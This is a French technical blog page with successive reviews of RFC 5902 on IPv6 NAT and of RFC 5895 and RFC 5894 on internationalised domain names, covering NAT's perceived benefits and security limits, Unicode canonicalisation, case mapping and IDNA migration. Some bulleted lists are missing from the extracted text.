Les mécanismes de traduction d'adresse (NAT) ont toujours suscité des polémiques, en raison de leur remise en cause des principes d'architecture de l'Internet. Avec IPv4, ces mécanismes sont nécessaires en raison de la pénurie d'adresses qui fait que, par exemple, un particulier n'a aucune chance d'obtenir plus qu'une adresse IPv4, même s'il a chez lui plusieurs équipements IP. Mais en IPv6 ? La pénurie disparait. Est-ce que le NAT doit donc disparaitre avec elle ? Dans ce RFC, l'IAB étudie la question et donne une réponse, certes hostile au NAT, mais très étayée et pointant du doigt quelques problèmes qui peuvent pousser certains à déployer du NAT IPv6 malgré tout.
La question initiale est pratique (section 1 du RFC) : l'IETF doit-elle normaliser des mécanismes de NAT pour IPv6 ? Elle ne l'avait pas fait pour IPv4, considérant, à juste titre, que c'était un bricolage ayant trop d'effets néfastes et, résultat, le NAT a quand même été largement déployé, de manière non standardisée. Le groupe de travail behave de l'IETF a été créé bien plus tard pour essayer de documenter ce bricolage et ses conséquences, et pour trouver des solutions partielles à certains de ses inconvénients.
Évidemment, pas mal de participants à l'IETF craignent que la même chose se produise avec IPv6. Selon un scénario possible, l'IETF, attachée aux principes de l'adresse IP unique, de la neutralité du réseau, et de la transparence de bout en bout (RFC 4924), refuserait fermement de normaliser des solutions de NAT IPv6 et celles-ci seraient déployées quand même, menant à une prolifération de routeurs NAT différents et gardant l'actuel cauchemar que vivent les applications, notamment pair-à-pair. Mais la situation est-elle la même qu'avec IPv4 ?
Les opposants à cette vision font remarquer que la motivation initiale du déploiement du NAT pour IPv4 était uniquement la pénurie d'adresses. (Je me souviens bien de mon émerveillement quand le premier routeur NAT utilisable, un PC Linux avec ce qui s'appelait à l'époque IP masquerading, est apparu vers 1995. Soudainement, le particulier pouvait avoir plusieurs machines IP chez lui.) Cette pénurie disparaissant avec IPv6, la motivation du NAT disparait aussi. Compte-tenu des défauts du NAT, où un équipement intermédiaire interfère avec la relation entre deux machines, il ne faudrait surtout pas déployer des NAT IPv6 et donc pas les normaliser.
Ce n'est pas et de loin la première fois que la question se pose. Ainsi, le RFC 4864 avait déjà discuté des avantages et inconvénients des NAT. Où en est-on aujourd'hui ?
Pour évaluer la possibilité que des systèmes de NAT soient déployés pour IPv6, même en l'absence de pénurie d'adresses, la section 2 du RFC étudie successivement les motivations possibles pour le NAT ou, en d'autres termes, les bénéfices perçus par certains utilisateurs.
Premier avantage perçu (section 2.1), dispenser de renumérotation. Avec un routeur NAT devant son réseau, celui-ci peut avoir des adresses IP stables, indépendantes des adresses vues de l'extérieur. Si celles-ci changent (par exemple parce qu'on a changé de fournisseur d'accès), il suffit de reconfigurer le routeur et tous les autres problèmes de renumérotation (RFC 5887) sont évités. Notre RFC 5902 note que cet argument saute si on dispose d'adresses PI mais que celles-ci posent d'autres problèmes, les mécanismes de routage actuels de l'Internet ne pouvant peut-être pas gérer un trop grand nombre de préfixes PI.
Autre motivation parfois citée pour déployer du NAT, le désir d'être multi-homé (section 2.2). Aujourd'hui, la seule solution qui isole le routage mondial du multi-homing est le NAT. Autrement, il faut utiliser des adresses PI qui sont routées globalement. Les techniques basées sur la séparation de l'identificateur et du localisateur ne sont pas encore prêtes. Donc, bien que la solution à base de NAT ne fournisse pas tous les services qu'on attend du multi-homing (par exemple, elle ne protège pas les sessions déjà établies d'une défaillance d'un des fournisseurs), elle reste tentante.
Pour un FAI, le NAT a un autre avantage : il
permet d'homogénéiser la configuration des réseaux locaux des
clients. Avec le NAT, tous les clients ont
192.168.0.0/24
, tous les routeurs
CPE ont l'adresse
192.168.0.1
, etc. Cela peut simplifier le
support utilisateur (section 2.3). En IPv6, un
mécanisme équivalent serait d'utiliser les adresses locales au lien
(section 2.5.6 du RFC 4291) mais il y a trop peu
d'expérience pratique aujourd'hui pour juger de la validité de cette
approche.
Lorsqu'on demande à un administrateur réseaux pourquoi il utilise du NAT alors qu'il dispose de suffisamment d'adresses, il répond souvent « la sécurité ». Cet argument est souvent vague et peu étayé. En creusant un peu, on peut trouver deux propriétés du NAT qui ont un rapport avec la sécurité. La première est le fait de dissimuler partiellement le réseau, sa structure et les machines qui s'y connectent (section 2.4). L'idée est que, sans faire reposer toute la sécurité du réseau sur cette dissimulation, on peut toutefois se dire qu'il n'y a aucune raison que le monde entier puisse analyser facilement le réseau, ce qui faciliterait la préparation d'une éventuelle attaque. Ainsi, le NAT permet de rendre plus difficile le recensement des machines (section 2.4.1). Cachées derrière le routeur NAT, les machines ne sont plus accessible à un comptage, par exemple. Dans ce domaine, la plupart des administrateurs réseau surestiment beaucoup les protections fournies par le NAT. Un article comme « A technique for counting NATted hosts » montre bien que le NAT n'empêche nullement le recensement des machines. Des mécanismes de NAT plus complexes pourraient permettre de limiter certaines des attaques que décrit Bellovin (pas celles par fingerprinting, par exemple) mais ils seront aussi plus difficiles à traverser pour des services comme SIP ou SCTP. La règle traditionnelle s'applique ici : les progrès de la sécurité se font presque toujours au détriment de la facilité d'usage. Notre RFC détaille les contre-mesures possibles mais il n'en existe aucune de miraculeuse. La machine derrière le NAT ne doit donc pas se sentir en complète sécurité.
À défaut de cacher les machines, peut-on cacher la topologie du réseau (section 2.4.2) ? Là encore, l'étude indique un résultat mitigé. On peut dans une certaine mesure rendre l'analyse du réseau interne plus difficile mais on ne peut pas la rendre impossible et ces améliorations de la dissimulation seront presque toujours au détriment des usages du réseau. Bref, comme le résume la section 2.4.3, le NAT fournit davantage une sécurité perçue qu'une sécurité réelle. Et les vrais gains de sécurité seront obtenus en empêchant les techniques de traversée de NAT comme STUN, ce qui diminuera l'utilité du réseau.
La deuxième propriété du NAT qui peut sembler augmenter la sécurité est l'impossibilité de faire une connexion depuis l'extérieur vers une machine NATtée (section 2.5). En fait, cette propriété n'a rien de spécifique au NAT : tout pare-feu à états en fait autant et il n'y a pas besoin du NAT pour avoir ce résultat.
Une fois examinées les bonnes (et moins bonnes) raisons de faire du NAT, même en IPv6, la section 3 de notre RFC prend de la hauteur et essaie de voir quelles sont les conséquences architecturales du NAT. Il n'y a pas de doute que le NAT a des avantages : si les gens le déploient, c'est bien qu'ils y trouvent des bénéfices. La vraie question est donc plutôt « Quel est le coût à payer, notamment pour les autres ? ». Le RFC ne mentionne pas cet exemple mais, aujourd'hui, le déploiement massif des NAT est payé essentiellement par les développeurs d'application (qui doivent consacrer beaucoup d'efforts et une grande partie de leur code réseau à contourner les NAT, à l'aide de solutions comme TURN - RFC 5766) et par les utilisateurs (dont certaines applications marchent ou ne marchent pas selon le spécificités du système NAT rencontré). L'administrateur réseaux qui déploie le NAT pour se faciliter la vie transmet donc les coûts à d'autres. Les RFC 2993 et RFC 4924 discutent plus en détail ce point.
Donc, avant de décider de normaliser un service de NAT, il ne faut pas seulement considérer les avantages perçus par ceux qui les déploient (la section 2 couvrait ces avantages) mais aussi les conséquences globales. Le principe (qui est au cœur de l'architecture de l'Internet) est que deux machines qui veulent se parler (le pare-feu peut donc légitimement filtrer le trafic qu'on ne veut pas) doivent pouvoir le faire sans se soucier du NAT, c'est-à-dire sans avoir à déployer des solutions complexes comme ICE - RFC 8445. Le programmeur, au lieu de consacrer l'essentiel de son code à contourner les NAT, devrait pouvoir tenir pour acquise une connectivité de bout en bout. Des techniques comme la référence (j'indique l'adresse IP à laquelle la suite du trafic doit être envoyé) sont triviales avec l'architecture normale de l'Internet et cauchemardesques avec les NAT.
Bref, l'objectif est que le système NAT, s'il existe, n'aie un effet que purement local et pas, comme actuellement, des conséquences pour tous les utilisateurs. Est-ce possible ?
La section 4 regroupe les solutions qui permettent d'atteindre les avantages cités plus haut (notamment le multihoming et la non-nécessité de renuméroter) en trois classes :
Maintenant, place à la conclusion. La section 4.1 résume les pensées de l'IAB : le NAT est une mauvaise idée, car il est très difficilement compatible avec la transparence du réseau (RFC 4924), celle-ci étant la clé du succès de l'Internet. Mais certains problèmes (comme le Multihoming) ne sont pas encore traités par l'IETF. Il ne suffit donc pas de dire que le NAT est négatif, il faut encore travailler à fournir des solutions pour les problèmes qu'il semble traiter. Dans tous les cas, toute évaluation d'une nouvelle norme (que ce soit du NAT ou pas) devrait se faire en priorité sur le critère de la transparence du réseau aux applications.
Date de publication du RFC : Septembre 2010
Auteur(s) du RFC : P. Resnick (Qualcomm Incorporated), P. Hoffman (VPN Consortium)
Pour information
Première rédaction de cet article le 14 septembre 2010
Dans l'ancienne version de la norme IDN, en 2003, une étape obligatoire et uniforme de canonicalisation (ou normalisation) précédait le traitement des noms de domaine en Unicode. La nouvelle version d'IDN, sortie en 2010, a supprimé cette étape. Désormais, chaque application est libre de canonicaliser comme elle le souhaite les noms entrés par l'utilisateur. Il n'est toutefois pas interdit de donner des conseils aux programmeurs mais il n'a pas été possible, dans le groupe de travail idnabis, de trouver un consensus sur ces conseils. Il y aura donc un ou plusieurs RFC « pour information seulement » sur ce sujet. Celui-ci est le premier.
La section 1 du RFC rappelle ce problème de normalisation. Celle-ci
se produit uniquement dans les applications, et n'a pas d'influence
sur ce qu'on voit dans le réseau. Sur le câble, on voit passer
uniquement des noms « punycodés » comme
xn--acadmie-franaise-npb1a.fr
. La norme IDNA bis
(RFC 5890 et suivants) expose comment traduire
un nom de domaine en Unicode (comme
académie-française.fr
) en cette forme punycodée
(et retour). Le RFC 5891 impose que le nom
Unicode soit déjà en forme normale C et
n'accepte qu'un nombre restreint de caractères (par exemple les
majuscules sont exclues). Imaginons qu'un utilisateur francophone
travaille dans un environnnement Latin-1 et
saisisse Académie-Française.fr
. Ce nom est
illégal pour IDNA bis et, pire, il n'est pas en Unicode. Il va donc
falloir le traduire en Unicode, et le normaliser. Ici, c'est trivial,
on remplace les octets de Latin-1 par ceux d'un encodage Unicode et on
remplace chaque majuscule par sa minuscule équivalente. On a fait une
normalisation. Mais, dans certains cas,
l'opération est bien plus complexe. En
français, il est difficile de trouver un
exemple significatif. Mais d'autres langues posent des défis plus
sérieux. Un exemple classique est celui du turc
où la minuscule du grand I sans point (I) est le petit i sans
point (ı) pas le petit i avec point (i). Mettre I en
minuscule dépend de la locale.
Il est donc impossible de trouver une normalisation qui couvre proprement tous les cas, ne serait-ce que parce qu'elle dépend de la langue (alors que les RFC définissent des normes mondiales). Le choix de IDNA bis avait donc été d'abandonner le principe d'une normalisation standard (qui était définie dans le RFC 3491). Il y a donc désormais plusieurs normalisations possibles. Toutes devraient suivre un principe simple « surprendre l'utilisateur le moins possible ». Plus facile à dire qu'à faire... Notre RFC 5895 précise d'ailleurs modestement qu'il ne donne pas une solution complète. Mais, au moins, la normalisation est laissée au logiciel qui est le mieux placé pour connaître le contexte, le logiciel qui est directement en contact avec l'utilisateur.
À propos de la différence entre interface utilisateur et protocole réseau, la section 1.1 contient une intéressante discussion à ce sujet. Normalement, l'IETF ne s'occupe que des protocoles. L'interface utilisateur est certes une chose importante mais elle nécessite des compétences différentes, qui ne sont pas forcément très présentes à l'IETF. Résultat, beaucoup de programmeurs d'applications réseau sous-estiment la difficulté de réaliser une bonne interface utilisateur. Ainsi, des phrases qu'on trouve dans des normes IDN comme « l'utilisateur rentre un nom de domaine en Unicode » expédie en moins d'une ligne un processus très complexe, partant d'une décision de l'utilisateur de choisir tel symbole plutôt que tel autre, puis de le rentrer dans l'ordinateur par des moyens très divers (rien qu'avec un clavier, il existe d'innombrables manières de taper un sinogramme, par exemple ; et le clavier n'est pas le seul périphérique d'entrée), le tout suivi par le processus d'interprétation des entrées par l'ordinateur (très simple pour l'ASCII mais bien plus complexe avec d'autres écritures).
IDNA bis a supprimé complètement la partie « interface utilisateur ». Notre RFC 5895, sans la rétablir dans le protocole, expose des idées pour la gérer. Cette idée est résumée dans la section 1.2 : ce RFC 5895 propose des extensions à IDNA bis pour canonicaliser les noms d'une manière raisonnable dans la plupart des cas. Par définition, la normalisation de ce RFC ne conviendra donc pas à tout le monde, d'où son caractère « pour information » seulement.
La section 2 décrit la procédure de normalisation sous forme d'une suite d'étapes :
Lowercase_Mapping
dans
le fichier SpecialCasing.txt
puis
Simple_Lowercase_Mapping
dans la table principale).www.académie-française.fr
,
académie-française
est traité sans considération
pour le composant précédent (www
) ou pour le
suivant (fr
). Il y a de très bonnes raisons pour
cela (même si certains amateurs de régulation auraient voulu faire des
règles inter-composants) mais la canonicalisation, qui dispose du
nom complet peut ajouter d'autres
étapes notamment considérer comme séparateur d'autres caractères que
le point de ASCII. Le 。 (U+3002) est
recommandé.Si j'appliquais cet algorithme, aurais-je une normalisation raisonnable ? La section 3 étudie ce point et répond clairement non. L'algorithme décrit en section 2 est uniquement un point de départ pour le programmeur et ne devrait pas être utilisé « sec ». La bonne démarche pour le courageux développeur est donc de bien lire la section 1 pour comprendre l'ampleur du problème, ensuite de partir de l'algorithme de la section 2 et de l'adapter.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : J. Klensin
Pour information
Réalisé dans le cadre du groupe de travail IETF idnabis
Première rédaction de cet article le 22 août 2010
Dans l'ensemble des RFC sur IDNA bis, celui-ci joue le rôle du document non officiel mais qui éclaire, explique et justifie les autres. Il n'est pas nécessaire de le lire pour mettre en œuvre les IDN mais il peut aider à comprendre la démarche des auteurs de IDNAbis. Mon compte-rendu va être un peu plus polémique que d'habitude car 1) ce RFC n'explique pas grand'chose, en fait et 2) il contient beaucoup de rhétorique et de FUD.
Officiellement, IDNAbis est nommé IDNA2008 (section 1), car c'était la date (totalement irréaliste, et qui avait été pointée comme telle par de nombreux participants) à laquelle le projet devait se terminer. La section 1 rappelle aussi quelques points sur lesquels IDNA 1 posait des problèmes, le changement de la gestion de la casse (IDNA 1 était insensible à la casse, comme le DNS) alors que IDNAbis résout le problème autrement, en interdisant les majuscules) ou comme la dépendance de IDNA 1 à une version spécifique d'Unicode (ce qui interdisait les écritures qui sont entrées dans Unicode plus tard, comme le Tifinagh).
Les objectifs d'IDNAbis sont détaillés dans la section 1.4 :
Pour le reste, le RFC est plutôt une collection assez décousue de divers points qui furent discutés lors du projet IDNAbis, points sur lesquels John Klensin tenait à faire connaître son opinion personnelle. Cela tient du blog plutôt que du RFC. Voyons quelques-uns de ces points.
Le terme même de « nom de domaine » peut entraîner des confusions car un nom dans le DNS n'est pas forcément une phrase ou même un mot dans une langue naturelle (section 1.3.1). Plusieurs règles du DNS interdisent certaines phrases ou certains mots (par exemple, la société C&A ne peut pas avoir de domaine à son nom, l'esperluette n'étant pas autorisée, avec ou sans IDN ; même chose avec le nom local de l'archipel d'Hawai'i, l'apostrophe n'étant pas acceptée). L'argument de Klensin est que, finalement, l'ancienne restriction à ASCII n'est pas si terrible puisque, de toute façon, on ne peut pas « écrire un roman dans le DNS ». Dommage qu'il se sente obligé de ridiculiser ceux qui ont une autre approche en les accusant de vouloir écrire du Klingon.
La section 1.5 concerne les limites d'IDNA, les points qu'il ne résoudra pas. Par exemple, le DNS ne permet pas de recherche floue, il faut indiquer le nom de domaine exact et cela ne change pas. L'augmentation du nombre de caractères admissibles, grâce à IDNA, peut rendre ce problème plus palpable (par exemple si on lit un peu trop vite un nom de domaine qu'on a vu sur le côté d'un bus).
Comme IDNA 1, IDNAbis ne nécessite pas de changement de
l'infrastructure, comme l'aurait nécessité un hypothétique DNS
Unicode. Une des conséquences est qu'il existe une forme
ASCII de chaque IDN, le
A-label et que ce nom (par exemple
xn--pgbs0dh
pour تونس) peut toujours
être utilisé comme solution de secours.
La section 1.6 raconte qu'un des buts de IDNAbis était d'améliorer la « comprehensibilité » d'IDN. Qu'une personne normale, n'ayant pas forcément lu les RFC, comprenne mieux le fonctionnement d'IDN. D'où la suppression de l'étape de canonicalisation, jugée trop déroutante. Avec IDNAbis, les noms de domaine en Unicode (U-labels) seront tous déjà sous forme canonique (les autres étant interdits), ce qui devrait augmenter ladite compréhensibilité.
En fait, la canonicalisation (par exemple de
CAFÉ
vers café
) sera faite
dans l'interface utilisateur et plus dans le protocole et je ne crois
pas que cela rende les choses plus prévisibles, d'autant plus que deux
interfaces utilisateur différentes pourront canonicaliser
différemment.
Traditionnellement, le DNS avait des règles différentes pour la résolution (qui utilisait des règles standard, comme l'insensibilité à la casse, mais aussi l'acceptation de tous les caractères, au delà de ASCII, cf. RFC 2181, section 11) et l'enregistrement (où les règles sont décidées localement par le registre et sont typiquement bien plus sévères, par exemple limitation à l'ASCII, interdiction des gros mots, etc). IDNAbis formalise cette distinction, pour refléter cette pratique (section 2 et RFC 5891).
Une des caractéristiques nouvelles et importantes de IDNAbis est que les caractères Unicode sont désormais interdits par défaut, alors qu'avec IDNA 1, ils étaient autorisés, sauf quand c'était indiqué explicitement. La section 3 revient sur ce choix. L'algorithme exact figure dans le RFC 5892. Une autre différence entre IDNA 1 et IDNAbis est que la validité d'un caractère dépend désormais du contexte. En effet, certains caractères notamment les « gluons », les caractères qui contrôlent le fait que deux caractères soient séparés ou pas, peuvent être jugés raisonnables ou pas, selon les caractères autour d'eux. C'est le cas par exemple de U+200D - le gluon de largeur nulle. En IDNA 1, tous ces caractères de la catégorie Unicode Join_Controls étaient interdits. Ils sont désormais autorisés conditionnellement (section 3.1.2)
Par défaut, en IDNAbis, les caractères tombent dans la catégorie
IDN DISALLOWED
(section 3.1.3). On y trouve des
caractères qui ne sont typiquement pas considérés comme lettre ou
chiffres et donc ne correspondent pas aux traditionnels critères pour
les identificateurs. C'est le cas du ⁄ (U+2044) ou du ♥
(U+2665).
Les règles du protocole IDNAbis ne sont pas la totalité des règles applicables. En effet, le registre peut ajouter des règles supplémentaires. Par exemple, la plupart des registres interdisent l'enregistrement de noms comportant des caractères parfaitement valides dans le DNS comme le _ (U+005F). La section 3.2 discute des politiques des registres. Il serait plus juste de dire que cette section aboie des ordres, sur un ton paternaliste. On y trouve beaucoup d'opinions personnelles non étayées, déguisées en « bonnes pratiques » par exemple l'idée qu'il ne faut pas accepter les noms composés de plusieurs écritures (alors la plupart des utilisateurs d'alphabets non-latins acceptent en plus les caractères latins). Certaines recommandations sont intéressantes (comme celle du système des variantes, cf. RFC 3743, RFC 4290 et RFC 4713) mais d'autres relèvent plutôt d'une volonté de bras de fer, qui avait souvent été exprimée ouvertement dans les réunions du groupe de travail IDNAbis (par exemple, Klensin disant que « les registres pensaient uniquement à l'argent et qu'il fallait les contraindre à respecter l'intérêt général », intérêt qu'il exprimait, lui).
De même, cette section justifie la règle (section 4.1 du RFC 5891) comme quoi le demandeur doit envoyer à la fois le U-label (forme Unicode) et le A-label (forme Punycode) au registre, en prétendant que c'est pour vérifier la cohérence des deux. Pourtant, la forme Punycode n'est qu'une astuce technique pour déployer les IDN, ce que l'utilisateur veut, c'est la forme Unicode et il est tout à fait anormal de prétendre que le A-label aie un quelconque intérêt pour l'utilisateur !
Ces règles et bien d'autres ont souvent été justifiées au début du processus IDNAbis par de vagues arguments de sécurité (section 2.2.6 du RFC 4690). Cette baudruche s'est dégonflée assez vite et, aujourd'hui, la section 3.3 note à juste titre qu'il n'y a pas de solution technique à des questions comme celle de la confusabilité de deux caractères (par exemple le 0 - U+0030 - et le O - U+004F).
Traditionnellement, l'IETF travaille
uniquement sur ce qui se passe sur le câble, loin des
utilisateurs. Ici, toutefois, on ne peut pas ignorer les problèmes des
applications, IDNA est faite pour elles (le A final du sigle). La
section 4 se penche donc sur les logiciels que verra
l'utilisateur. D'abord, contrairement au réseau, où les noms de
domaines sont toujours transmis dans le même ordre (celui de la saisie
au clavier), l'affichage des IDN peut être de droite à gauche ou de
gauche à droite (section 4.1). Cela peut être d'autant plus complexe à
gérer pour, par exemple, un navigateur Web, que
le nom complet peut avoir des composants de gauche à droite et
d'autres de droite à gauche (par exemple
www.تونس.com
). Ce cas est encore pire pour
un IRI (RFC 3987) puisque
celui-ci a forcément au moins un composant
ASCII, le plan (par
exemple http
).
Saisir et afficher des IDN nécessite donc des choix délicats et
des codes complexes (alors qu'un serveur de noms, par exemple, ou même
une base de données d'un
registre qui stocke des noms de domaine, n'ont
rien de particulier à faire). La section 4.2 donne quelques
conseils. Elle rappelle par exemple que les noms de domaine peuvent
apparaitre dans un contexte où le fait qu'il s'agisse d'un nom de
domaine est évident (par exemple lors d'un dialogue
SMTP) mais aussi dans du texte libre, où le
logiciel ne comprend pas forcément ce qu'il transmet. Les protocoles
devraient donc bien préciser quand un nom de domaine est une partie du
protocole (commande MAIL FROM
de SMTP) et quand
il ne l'est pas (le corps d'un message envoyé en SMTP).
Un problème en soi est celui de la canonicalisation (mapping, mise en correspondance) des caractères saisis par l'utilisateur avec ce que IDNAbis accepte. Dans IDNA 1, il existait une canonicalisation officielle, nameprep, normalisée dans le RFC 3491. Elle a été supprimée et, désormais, la canonicalisation est laissée à l'initiative de l'application. La seule obligation est de produire un nom conforme au protocole IDNAbis. Comme celui-ci, par exemple, exclus les majuscules (contrairement à la tradition du DNS, où majuscules et minuscules sont autorisées, tout en étant équivalentes), l'application doit mettre le nom en minuscules (une tâche triviale en ASCII mais bien plus complexe en Unicode, elle peut même dépendre de la langue). Le RFC 5895 décrit un exemple d'une telle canonicalisation.
A priori, cette canonicalisation locale, chacun faisant comme il veut, risque de dérouter et d'entrainer bien des problèmes : la même chaîne de caractères en Unicode, saisi dans deux navigateurs différents, pourra donner des noms de domaines (U-label) différents. L'idée est que chaque application prendra une décision conforme au contexte local (l'application connait l'utilisateur, connait sa langue) et que cela sera finalement moins surprenant. En outre, cela permet d'avoir, contrairement à IDNA 1, un aller-retour sans perte dans les conversions entre U-label et A-label.
D'autres attentes linguistiques peuvent poser un problème au développeur de logiciel IDNAbis. La section 4.3 fournit quelques exemples pittoresques :
æ
et ä
sont équivalents, ce
qui dérouterait un utilisateur anglophone. Même chose avec
oe
et ö
pour un allemand.theatre
et theater
, ou bien
color
et colour
soient
deux noms de domaine distincts... La frontière entre l'équivalence que
doit faire le protocole et celle qui est laissée à la responsabilité
de l'utilisateur n'est pas évidente à placer.Autre cas de canonicalisation délicat : la distinction entre
majuscules et minuscules. Pour les utilisateurs
de l'alphabet latin, les deux casses sont souvent considérées comme
sémantiquement équivalentes et c'est ce point de vue que reflète le
DNS lorsque le RFC 1034 section 3.1 dit « domain name comparisons for all present domain functions are done in a
case-insensitive manner ». Avec Unicode, un tel principe
n'est plus tenable, comme le rappelle la section 4.4. Ni IDNA 1, ni
IDNAbis n'obligent les serveurs à être insensibles à la
casse et pour de bonnes
raisons. Par exemple, certains caractères n'ont pas de
majuscule propre comme le sigma final
ς. Une conversion en majuscules en fait un Σ dont la
forme minuscule est le sigma ordinaire σ. IDNA 1 résolvait la
question en imposant aux applications une canonicalisation en
minuscules via nameprep
(RFC 3491), IDNAbis choisit d'ignorer le
problème en n'acceptant que les minuscules et en laissant
l'application canonicaliser à sa guise, en suivant les règles
locales. À noter que ce changement peut entraîner quelques
incompatibilités entre les deux versions d'IDN. Ainsi, en IDNA 1,
strasse.de
et straße.de
sont
le même nom de domaine (puisque nameprep canonicalise le second dans
le premier) alors qu'ils sont différents en IDNAbis.
Le cas des écritures qui s'affichent de droite à gauche fait l'objet de la section 4.5. Pour limiter les risques d'ambiguité, IDNA 1 et IDNAbis imposent que, dans chaque composant d'un nom de domaine, il n'y aie que des caractères de la même directionnalité (ou des caractères neutres). C'est une des rares règles d'IDN qui examinent le composant entier, pas juste des caractères individuels.
La règle exacte dans IDNA 1 était trop stricte pour certaines langues qui ont besoin de marques vocaliques comme le yiddish écrit en hébreu ou le divehi écrit en thaana. Ces marques n'ont pas de directionalité et étaient interdites à la fin d'un composant. Ce n'est plus le cas et IDNAbis permet donc des noms qui étaient interdits en IDNA 1 (cf. RFC 5893).
En revanche, l'idée d'avoir des règles entre composants (étendre la règle ci-dessus à tout le FQDN) a été abandonnée. Elle aurait imposé une partie de bras de fer avec les registres de noms. (Le RFC ne mentionne pas cette très mauvaise idée, qui était pourtant promue par son auteur...) Il est donc toujours possible d'avoir un nom de domaine dont certains composants sont de gauche à droite et d'autres de droite à gauche.
La section 5 se réclame du fameux principe de robustesse (« soyez strict dans ce que vous envoyez et tolérant dans ce que vous recevez ») pour culpabiliser les registres de noms de domaine en leur faisant porter la responsabilité de contrôles plus étendus. En pratique, l'application qui accède à un IDN ne peut pas compter dessus, à la fois parce que tous les registres n'ont pas forcément les obsessions de John Klensin, mais aussi parce que des techniques comme les jokers (RFC 1034, section 4.3.3) font qu'un nom peut être résolu bien qu'il n'aie jamais été enregistré.
Encore plus délicate, la question des interfaces utilisateur (section 6). Il n'est évidemment pas possible de donner des règles applicables à tous les cas, vue la grande variété de ces interfaces. La section 6 se concentre surtout sur la nouveauté de IDNAbis ayant le plus d'implication pour l'interface : le fait que la canonicalisation standard (nameprep) du RFC 3491 aie disparu. Cette canonicalisation standard avait des avantages, notamment une meilleure interopérabilité, due au caractère plus prédictible des noms. Mais d'un autre côté, elle menait à des canonicalisations qui ne tenaient pas compte de la locale et pouvaient donc être surprenantes pour l'utilisateur humain. La nouvelle règle (chaque application canonicalise comme elle veut) permet aux applications (qui connaissent l'utilisateur, la locale, la langue...) de produire, à partir de ce qu'a tapé ou sélectionné l'utilisateur, des noms qui seront moins déroutants.
Pour ceux qui avaient déjà déployé les IDN avec l'ancienne norme
IDNA 1, la section 7 fournit une description détaillée des mécanismes
de migration possibles, et des pièges qui peuvent les guetter. Ainsi,
comme le précise la section 7.2, des chaînes de caractères identiques
en IDNA1 ne le sont plus en IDNAbis (strasse et straße ou bien les noms utilisant les gluons
Unicode comme le U+200D) et donc deux noms de domaines qui étaient
équivalents en IDNA 1 ne le sont plus (et ont donc des
A-labels différents). Le choix n'a pas été
évident. La section 7.2.3 résume les possibilités qui s'offraient au
groupe de travail, dont certaines étaient très lourdes (changer le
préfixe de l'encodage, actuellement xn--
, par
exemple, pour marquer clairement l'incompatibilité). Finalement, après
de très longues discussions, le choix a été fait d'accepter cette
légère incompatibilité. Une fois cette décision prise, quelle
stratégie adopter pour accueillir ces « nouveaux » caractères ? La
section 7.2.4 en décrit plusieurs, du refus des nouveaux, qui
empêchera les anciens noms de fonctionner mais évitera toute
confusion, à la période de transition (sunrise)
pendant laquelle les titulaires des anciens noms auraient priorité
pour enregistrer le nom incluant les nouveaux caractères. Par exemple,
un registre germanophone pourrait donner la priorité au titulaire
de strasse.de
pour qu'il enregistre
straße.de
avant tout le monde. Il y a aussi
l'éventualité d'un système de « variantes » où les noms « anciens » et
« nouveaux » seraient liés en permanence et enregistrables uniquement
par le même titulaire. Et la toute simple possibilité de ne pas s'en
préoccuper, en considérant que le problème est mineur et disparaitra
peu à peu. À l'heure actuelle (juin 2010), le registre du
.AT
prévoit de ne pas utiliser de variantes
et de ne pas accepter immédiatement les nouveaux caractères. Lorsque
ce sera fait, je suppose qu'il y aura une période de transition avec
priorité aux anciens titulaires. C'est ce qu'a fait le registre du .DE
,
DENIC, qui fournit une période de transition.
La question du changement de préfixe fait même l'objet d'une
section spécifique, 7.4. En effet, la question avait été sérieusement
envisagée. Ce changement aurait créé deux familles d'IDN complètement
séparées, celle dont les A-labels commencent par
xn--
et la nouvelle. Le groupe de travail a
considéré que le changement de préfixe aurait été nécessaire si les
changements avaient créé un risque de confusion. La section 7.4.1
énumère précisèment les cas où cela se serait produit, par exemple si
la conversion d'un A-label en
U-label avait renvoyé deux chaînes Unicode
différentes ; le cas inverse était jugé moins grave, et il s'est
effectivement produit dans de rares cas, comme dans l'exemple du ß
ci-dessus. Autre exemple, celui où l'encodage du
A-label aurait été drastiquement modifié, par
exemple pour inclure de l'information sur la langue utilisée.
En revanche, le groupe de travail avait considéré que des
changements comme l'interdiction de caractères autrefois autorisés
(section 7.4.2) ne justifiait pas un changement de préfixe. Cette
interdiction rend des noms enregistrés inutilisables dans le DNS mais
l'idée est qu'un refus clair est moins grave qu'un changement de
sémantique et ne justifie donc pas de changement de préfixe. Un tel
changement aurait eu des coûts considérables, détaillés en section
7.4.3. En effet, si un registre peut toujours changer tous les
A-labels facilement (UPDATE Domains SET
alabel TO idnabis_alabel(ulabel)
), il n'aurait pas pu
synchroniser ce changement avec celui des applications qui ont
l'encodage en Punycode.
Et l'algorithme nameprep, normalisé dans le RFC 3491, que devient-il ? Il est complètement abandonné en IDNAbis mais nameprep n'est qu'un profil particulier de stringprep, normalisé dans le RFC 3454, et celui-ci est utilisé par bien d'autres normes IETF et il continue donc sa vie (section 7.5), sans que IDNAbis ne l'affecte.
Un des grands changements théoriques entre IDNA 1 et IDNAbis est
l'interdiction des symboles comme U+2665 (♥), U+2605 (★) ou U+2798 (➘). C'est un changement
surtout théorique car, en pratique, ils étaient souvent interdits par
les règles d'enregistrement et on ne les trouve pratiquement pas en
pratique. (Voir, par exemple, le IESG Statement on IDN.) Cette méfiance vis-à-vis des symboles
vient entre autre du fait qu'il n'existe pas de nommage standard pour
les désigner et que les variations de forme entre
polices sont encore plus marquées que pour les
lettres. Il n'est donc pas facile d'épeler un nom de domaine comme
I♥NY.us
sans ambiguité... D'autant plus
que certains symboles ont beaucoup de caractères Unicode
correspondants (comme le carré).
La même section 7 couvre le cas de la migration interne à IDNAbis lorsqu'une nouvelle version d'Unicode est publiée (section 7.7). En effet, IDNAbis n'est plus lié à une version spécifique d'Unicode et l'enregistrement de nouveaux caractères, ou bien certains changements dans les caractères déjà enregistrés, peuvent faire apparaitre « automatiquement » de nouveaux caractères légaux dans IDN.
Parmi les innombrables questions qu'avaient soulevé l'introduction des IDN en 2003, le comportement des logiciels serveurs de noms comme BIND (section 8). Le souci de ne pas leur faire faire des canonicalisations Unicode est la principale raison pour laquelle nous avons IDNA (IDN in Applications) et pas un DNS Unicode). Si le DNS a toujours prévu une canonicalisation minimale (les noms de domaine sont insensibles à la casse), celle-ci n'a jamais été normalisée pour Unicode (cf. RFC 4343). Ce point ne change pas en IDNAbis.
